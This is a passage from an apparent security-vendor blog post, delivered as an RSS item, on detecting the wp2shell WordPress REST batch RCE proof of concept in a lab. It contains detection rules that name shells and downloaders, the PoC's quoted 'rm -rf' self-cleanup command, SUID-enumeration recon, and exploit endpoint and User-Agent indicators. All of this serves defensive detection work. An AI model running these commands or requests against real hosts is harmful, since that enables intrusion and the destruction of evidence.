<p>The alerts cover backdoor upload and the execution of suspicious and unusual commands. These rules are discussed below.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> (EDR)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a> (SIEM)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a> (SIEM)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a> (SIEM)</li>
</ul>
<p>The alert table ties file paths to process activity. The two file-creation alerts reference plugin directories such as <code>wp-content/plugins/wp2shell_79b06a80</code> and <code>wp2shell_360866a8</code>. The command-execution alerts show <code>/usr/sbin/apache2</code> as the parent and <code>/usr/bin/dash</code> running <code>sh -c -- id</code>, <code>whoami</code>, and <code>hostname</code> from those same plugin paths. File creation fires on the drop; endpoint prevention fires when the shell runs; SIEM rules accumulate as each command executes.</p>
<h3 id="processlineageapache2spawningashellintheanalyzergraph">Process lineage: apache2 spawning a shell in the analyzer graph</h3>
<p>The Elastic analyzer graph makes the <code>wp2shell</code> web-server-to-shell transition visible in one view:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltba84fe8e6d3199be/6a7d872b6c6eac1bc7f11413/image3.png" alt="wp2shell process analyzer graph showing apache2 spawning dash" title="Elastic analyzer graph showing wp2shell process chain: systemd to apache2 to dash, with dash terminated by prevention" /></p>
<p>The chain is <code>systemd</code> → <code>apache2</code> → <code>apache2</code> → <code>dash</code> → <code>hostname</code>. The <code>apache2</code> worker node shows the preceding file and network activity (8 file events, 7 network events in this session). The <code>dash</code> node is flagged as an analyzed event with 3 alerts attached and the process terminated by prevention. That is <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> doing its job: stopping the shell the moment <code>apache2</code> crosses from serving HTTP to running a payload.</p>
<h3 id="whatcommandsdoesthewp2shellpocrunafterexploitation">What commands does the wp2shell PoC run after exploitation?</h3>
<p>Expanding the process and file event table shows everything the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> ran on the host, not just the first three discovery commands:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd4034a5583c00010/6a7d872edd26d29d692a72f3/image4.png" alt="wp2shell full process and file event overview from lab execution" title="Kibana process and file event table showing wp2shell post-exploitation commands including cleanup script, uname, cat /etc/passwd, and SUID find" /></p>
<p>From <code>process.working_directory</code> set to <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code>, <code>apache2</code> spawns <code>dash</code> with <code>sh -c -- id; whoami; hostname</code>. Each command runs as a child (<code>id</code>, <code>whoami</code>, <code>hostname</code>) under the web server parent. That is the pattern we see in telemetry and in the alert overview above. The attacker can of course choose what commands to run here. </p>
<p>The <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> removes its own plugin after execution:</p>
<pre><code>sh -c -- d=$(pwd); case "$d" in */wp-content/plugins/*) cd / &amp;&amp; rm -rf "$d";; esac
</code></pre>
<p>That deletes the plugin directory and the staged zip. Responders should not treat a missing <code>wp2shell_*</code> folder as evidence the host is clean if process alerts already fired.</p>
<h3 id="attackdiscoverycorrelating25wp2shellalertsintooneincident">Attack discovery: correlating 25 wp2shell alerts into one incident</h3>
<p>When you pivot from individual alerts to Attack discovery, the narrative pulls the session together. After multiple PoC runs and the extended recon pass, Elastic grouped 25 alerts on <code>wp2shell-lab</code> into a single incident:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3caa0d31e8ec1dfc/6a7d87323ce8e26722cf270a/image1.png" alt="wp2shell Attack discovery incident on wp2shell-lab" title="Elastic Attack discovery correlating 25 wp2shell alerts into one incident with MITRE ATT&amp;CK timeline on wp2shell-lab" /></p>
<p>Attack discovery summarizes the arc:</p>
<ol>
<li><strong>Initial access:</strong> <code>wp2shell</code> exploitation via the batch API. <code>apache2</code> creates multiple plugin directories under <code>wp-content/plugins/</code> (<code>wp2shell_78b05e60</code>, <code>wp2shell_369fdaf8</code>, and others across repeated runs).  </li>
<li><strong>Execution:</strong> <code>apache2</code> spawns <code>dash</code>; prevention alerts fire on shell execution. The PoC runs discovery commands and attempts self-cleanup.  </li>
<li><strong>Persistence:</strong> Additional plugin drops from repeated <code>shell</code> invocations (<code>wp2shell_4014c5b3</code>, <code>wp2shell_e358ff3b</code>, <code>wp2shell_8a5566a0</code>, and more).  </li>
<li><strong>Discovery and privilege escalation:</strong> From a fresh webshell, reconnaissance commands including SUID enumeration (<code>find / -perm -u=s -type f</code>). This is where the extended lab pass adds alert volume beyond the initial <code>id</code>/<code>whoami</code>/<code>hostname</code> trio. </li>
</ol>
<p>This demonstrates why we detect the behavior rather than the plugin name.</p>
<h3 id="phpfilecreationinwordpressplugindirectory">PHP File Creation in WordPress Plugin Directory</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a> fired several times in our primary run, on paths such as <code>wp-content/plugins/wp2shell_79b06a80</code> and <code>wp2shell_360866a8</code>. The rule keys on Elastic Defend file events where a web-related process creates PHP under a WordPress plugin path:</p>
<pre><code>file where event.type in ("creation", "change") and (
  process.name in (
    "nginx", "apache2", "httpd", "php-cgi", "php-fcgi",
    "php-cgi.cagefs",  "sw-engine-fpm",
    "wget", "curl", "bash", "dash", "sh", "tcsh", "csh",
    "zsh", "ksh", "fish", "mksh", "busybox"
  ) or
  process.name like ("php-fpm*", "lsphp*", "*.cgi", "*.fcgi")
) and
file.path like~ "*/wp-content/plugins/*"
</code></pre>
<p>It is the earliest structured signal in the alert set: the drop lands before the shell executes. The rule ships with a direct reference to the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a>. It is scoped to <code>plugins/</code> only and will not catch the SANS-documented <code>INTO OUTFILE</code> variant under <code>wp-content/cache/</code>, which is why the shell-spawn rules below matter as a second layer.</p>
<h3 id="payloadexecutionbywebserver">Payload Execution by Web Server</h3>
<p><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> is the Elastic Defend behavioral rule behind the two critical alerts in the overview. It matched when <code>/usr/sbin/apache2</code> spawned <code>/usr/bin/dash</code> to run suspicious commands. The rule treats web server parents (<code>apache2</code>, <code>httpd</code>, <code>nginx</code>, <code>php-fpm*</code>, and others) launching a shell with high-risk command lines as payload execution. To avoid filling the whole blog with EQL queries, a snippet is displayed below: </p>
<pre><code>process where event.type == "start" and event.action == "exec" and (
  process.parent.name in (
    "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne",
    "httpd.worker", "flask", "php-cgi", "php-fcgi", "php-cgi.cagefs", 
    "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman",
    "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm"
  ) or
  process.parent.name like ("php-fpm*", "gunicorn*", "*.cgi", "*.fcgi") or
  [...]
  [Additional web server technologies]
  [...]
) and
process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in ("-c", "-cl", "-lc") and
process.command_line like~ (
  [...]
  [Suspicious command lines]
  [...]
)
</code></pre>
<p>Discovery commands are explicitly in scope, alongside decoding pipelines, reverse shells, credential paths, and more. The full rule logic can be found <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">here</a>. Where prevention is enabled, the rule terminates the process via <code>kill_process</code>, which is why the analyzer graph shows <code>dash</code> as a terminated analyzed event. This is the tightest endpoint signal for "web RCE just succeeded."</p>
<h3 id="suspiciouscommandexecutionviawebserver">Suspicious Command Execution via Web Server</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a> produced three alerts on the initial discovery commands and additional matches when we ran the extended recon pass. This rule is very similar to the previous rule, but does not have preventive actions, and therefore has fewer exclusions baked in, decreasing the risk of introducing false negatives.</p>
<h3 id="unusualcommandexecutionviawebserver">Unusual Command Execution via Web Server</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a> is a new terms rule: it uses statistics to understand which shell command lines each web-server parent normally runs on a host, then alerts on lines that break the baseline. It produced five alerts in our primary run, the highest count in the set.</p>
<p>Generally, a PoC invocation introduces command lines the host has never seen: compound discovery strings, recon one-liners with <code>uname</code> and <code>find</code>, and cleanup scripts that reference <code>wp-content/plugins/</code>. The rule casts a wider net than “Suspicious Command Execution”. When both fire on the same host within the same session, treat the cluster as high confidence.</p>
<h3 id="suspiciousandunusualchildexecutionviawebserver">Suspicious and Unusual Child Execution via Web Server</h3>
<p>Two related SIEM rules cover cases where the web stack spawns non-shell children (interpreters, downloaders, reverse-shell helpers):</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></li>
</ul>
<p>They did not appear in the 12-alert overview because the Icex0 chain goes through <code>dash</code> and standard discovery binaries, which the command-execution rules already cover. They still belong in the same rule set on WordPress hosts: modified exploits that invoke <code>curl | bash</code>, <code>python -c</code>, or a reverse shell without passing through the discovery shortlist will land here instead.</p>
<h3 id="payloaddownloadedviacurlorwgetbywebserver">Payload Downloaded via Curl or Wget by Web Server</h3>
<p>Another rule worth mentioning is <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml">Payload Downloaded via Curl or Wget by Web Server</a>. This is an EDR rule (with killing actions) that detects <code>wget</code>/<code>curl</code> invocations via a <code>sh -c</code> sequence, from web server parents. This is a common technique to download additional tooling once RCE was achieved on a host. Although it did not fire on the PoC, it may fire in a real attack.</p>
<h3 id="whichelasticrulesshouldienableforwp2shell">Which Elastic rules should I enable for wp2shell?</h3>
<p>Enable these pre-built Linux rules on WordPress hosts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></li>
</ul>
<p>Several building block rules are triggering on certain activity from the attack chain, ranging from file creation to reconnaissance commands, and are listed below:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/persistence_web_server_sus_file_creation.toml">Unusual File Creation by Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/e45a6518f6478eb91623feb1cfac63e4e2f01fd3/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/e45a6518f6478eb91623feb1cfac63e4e2f01fd3/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
</ul>
<p>Deploy Elastic Defend with prevention enabled on hosts that run WordPress. If your web stack uses a parent process not in the current lists, let us know so we can extend scope.</p>
<h2 id="huntingqueries">Hunting queries</h2>
<p>Use these for quick hunts while tooling is still stock. Treat them as fragile: rename the plugin slug or change the User-Agent and most of them disappear. Behavioral rules above are the durable layer.</p>
<h3 id="wp2shellnetworkandaccesslogindicators">wp2shell network and access log indicators</h3>
<ul>
<li><code>POST /?rest_route=/batch/v1</code> or <code>POST /wp-json/batch/v1</code> with a nested JSON <code>requests</code> array.  </li>
<li><code>User-Agent: wp2shell</code>, <code>User-Agent: cve-2026-63030/1.0</code>, or <code>User-Agent: rezwp2shell</code> on batch traffic.  </li>
<li>HTTP 207 Multi-Status responses on batch requests (supporting evidence, not standalone).  </li>
<li>Follow-on requests to <code>/wp-admin/plugin-install.php</code>, <code>/wp-admin/update.php?action=upload-plugin</code>, or <code>/wp-json/wp/v2/users?context=edit</code>.</li>
</ul>
<h3 id="wp2shellhostartifacts">wp2shell host artifacts</h3>
<ul>
<li>Directories matching <code>wp2shell_&lt;hex&gt;</code> under <code>wp-content/plugins/</code>.  </li>
<li>New or modified <code>.php</code> under <code>wp-content/plugins/</code> or <code>wp-content/cache/</code>.  </li>
<li>Write-test files <code>temp-write-test-*</code> under <code>wp-content/</code> (seen in our lab run and in staging behavior).  </li>
<li>Unexpected WordPress administrator accounts created during the exploitation window.  </li>
<li>PHP webshell hashes published in open research (supplemental; prioritize process and file telemetry).</li>
</ul>
<h3 id="howtoblockwp2shellifyoucantpatchimmediately">How to block wp2shell if you can't patch immediately</h3>
<p>If you cannot patch immediately, block anonymous access to <code>/wp-json/batch/v1</code> and <code>/?rest_route=/batch/v1</code> at the edge, or disable anonymous REST access via a hardening plugin. Expect breakage of legitimate batch consumers; use only as a temporary measure until 7.0.2 or 6.9.5 is deployed.</p>
<h2 id="wp2shelldetectionpatchfirstthenverifyyourcoverage">wp2shell detection: patch first, then verify your coverage</h2>
<p><code>wp2shell</code> turns a REST batch parsing bug into pre-authenticated code execution on default WordPress installs. Public PoCs spread fast, and the host footprint is predictable: plugin files staged under <code>wp-content/</code>, then a web server parent spawning a shell that runs a malicious command.</p>
<p>We ran the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 chain</a> end-to-end in a lab and watched the detections line up with that sequence. PHP File Creation in WordPress Plugin Directory catches the drop. Payload Execution by Web Server fires first on the endpoint when <code>apache2</code> runs the payload. Suspicious and Unusual Command Execution via Web Server adds SIEM depth on the same shell activity. Additional rules are in place to detect real-world activity beyond the PoC. Patch first, hunt the IOCs while they last, and lean on that behavioral stack for coverage that survives PoC renames.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/wp2shell-wordpress-rce-detection-elastic-defend</link>
    <guid isPermaLink="false">wp2shell-wordpress-rce-detection-elastic-defend</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud,Bryan Porras Blanch]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt67d45a44d2b148cc/6a7d873496b5a62e888786fd/wp2shell-wordpress-rce-detection-elastic-defend.webp" length="0" type="image/webp"/>
    <pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>